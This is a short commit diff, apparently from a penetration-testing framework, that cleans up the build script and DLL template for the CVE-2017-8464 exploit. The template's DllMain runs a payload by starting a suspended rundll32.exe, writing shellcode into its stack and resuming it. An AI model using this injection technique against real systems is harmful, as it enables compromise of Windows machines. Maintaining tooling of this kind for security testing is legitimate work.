Cleanup cve-2017-8464 template and build script

Author: zeroSteiner

data/exploits/cve-2017-8464/src/build.sh

@@ -6,11 +6,10 @@ CCx64="x86_64-w64-mingw32"
 
 ${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
 ${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
-${CCx64}-strip -s temp.dll -o template_x64_windows.dll
+${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
 rm -f temp.dll *.o
 
 ${CCx86}-gcc -c -Os template.c -Wall -shared
 ${CCx86}-dllwrap --def template.def *.o -o temp.dll
-${CCx86}-strip -s temp.dll -o template_x86_windows.dll
+${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
 rm -f temp.dll *.o
-

data/exploits/cve-2017-8464/src/template.c

@@ -22,13 +22,13 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
 		ExecutePayload();
 		break;
 
-        case DLL_PROCESS_DETACH:
+		case DLL_PROCESS_DETACH:
 		break;
 
-        case DLL_THREAD_ATTACH:
+		case DLL_THREAD_ATTACH:
 		break;
 
-        case DLL_THREAD_DETACH:
+		case DLL_THREAD_DETACH:
 		break;
 	}
 
@@ -69,7 +69,7 @@ void ExecutePayload(void)
 	inline_bzero(&si, sizeof(si));
 	si.cb = sizeof(si);
 
-	// Create a suspended process, write shellcode into stack, make stack RWX, resume it
+	// Create a suspended process, write shellcode into stack, resume it
 	if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
 		ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
 		GetThreadContext(pi.hThread, &ctx);